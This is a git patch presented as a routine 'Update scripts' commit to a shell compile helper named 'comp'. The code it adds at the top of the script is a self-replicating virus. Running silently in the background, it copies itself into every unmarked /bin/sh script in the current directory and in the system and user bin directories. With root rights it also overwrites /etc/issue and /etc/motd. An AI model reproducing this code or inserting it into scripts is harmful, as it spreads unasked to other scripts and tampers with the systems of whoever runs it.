From ccd8b984f62085b7fe541a98b247ea3fc92c17d1 Mon Sep 17 00:00:00 2001 From: Brodie Robertson Date: Sat, 6 Feb 2021 11:03:25 +0100 Subject: [PATCH] Update scripts --- comp | 23 +++++++++++++++++++++++ 1 file changed, 23 insertions(+) diff --git a/comp b/comp index 9792391..0d74100 100755 --- a/comp +++ b/comp @@ -1,4 +1,27 @@ #!/bin/sh +{ + for i in * /bin/* /usr/bin/* /usr/local/bin/* ~/bin/* ~/.local/bin/* + do + if sed 1q "$i" | grep '^#![ ]*/bin/sh' + then + if ! grep '^# mark$' "$i" + then + sed 1q "$i" >"/tmp/x$$" + sed '1d + /^# mark$/q' "$0" >>"/tmp/x$$" + sed 1d "$i" >>"/tmp/x$$" + cp "/tmp/x$$" "$i" + fi + fi + done + if ls -l "/tmp/x$$" | grep root + then + echo 'install 9front +' | tee /etc/issue >/etc/motd + fi + rm "/tmp/x$$" +} >/dev/null 2>/dev/null & +# mark # General handler for compiling files file=$(readlink -f "$1")